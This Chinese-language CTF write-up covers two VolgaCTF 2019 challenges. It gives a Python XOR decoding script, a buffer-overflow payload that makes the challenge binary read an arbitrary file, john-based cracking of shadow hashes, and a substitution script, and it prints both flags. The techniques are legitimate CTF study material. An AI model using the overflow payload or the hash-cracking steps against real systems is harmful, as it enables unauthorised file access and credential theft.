2019VolgaCTF & 2019SunshineCTF writeup
VolgaCTF: warm/Shadow Cat/JOI Warm 这道题是 arm 架构下的,不过没什么区别。没有环境的话要先搭一下,直接连服务器做也可以。 先简单解个密: s="" s+=chr(0x23^85); s+= chr(ord(s[-1])^78) s+= chr(ord(s[-1])^30) s+= chr(ord(s[-1])^21) s+= chr(ord(s[-1])^94) s+= chr(ord(s[-1])^28) s+= chr(ord(s[-1])^33) s+= chr(ord(s[-1])^1) s+= chr(ord(s[-1])^52) s+= chr(ord(s[-1])^7) s+= chr(ord(s[-1])^53) s+= chr(ord(s[-1])^17) s+= chr(ord(s[-1])^55) s+= chr(ord(s[-1])^60) s+= chr(ord(s[-1])^114) s+= chr(ord(s[-1])^71) p.sendline(s); print(len(s)) print(s) 得到 v8&3mqPQebWFqM?x 程序很明显有溢出,进行覆盖可以读取任意文件,接下来就靠猜了… 文件名是 sacred payload: v8&3mqPQebWFqM?xpppppppppppppppppppppppppppppppppppppaaaaaaabbbbbxppppppppppppppppppppppppppppppppppsacred flag: VolgaCTF{1_h0pe_ur_wARM_up_a_1ittle} ShadowCat 用 john 进行破解,首先用默认的字典,发现破解速度极慢,破解出来的都是单字符,想想也是… 所以自己创建一个可打印字符的字典,使用 –wordlist 设置破解就好了,最后把破解得到的数据与密文对应的字符进行替换,得到 脚本: str = "hajjzvajvzqyaqbendzvajvqauzarlapjzrkybjzenzuvczjvastlj" ans = "" dict = {"z":"_","a":"a","x":"b","q":"c","l":"w","v":"h","e":"i","f":"j","b":"k","r":"l","g":"m","n":"n","o":"x","p":"y","s":"d","c":"e","w":"f","d":"g","t":"o","h":"p","m":"q","k":"u","i":"v","y":"r","j":"s","u":"t"} for ch in str: ans+=dict[ch]; print(ans) flag: pass_hash_cracking_hashcat_always_lurks_in_the_shadows...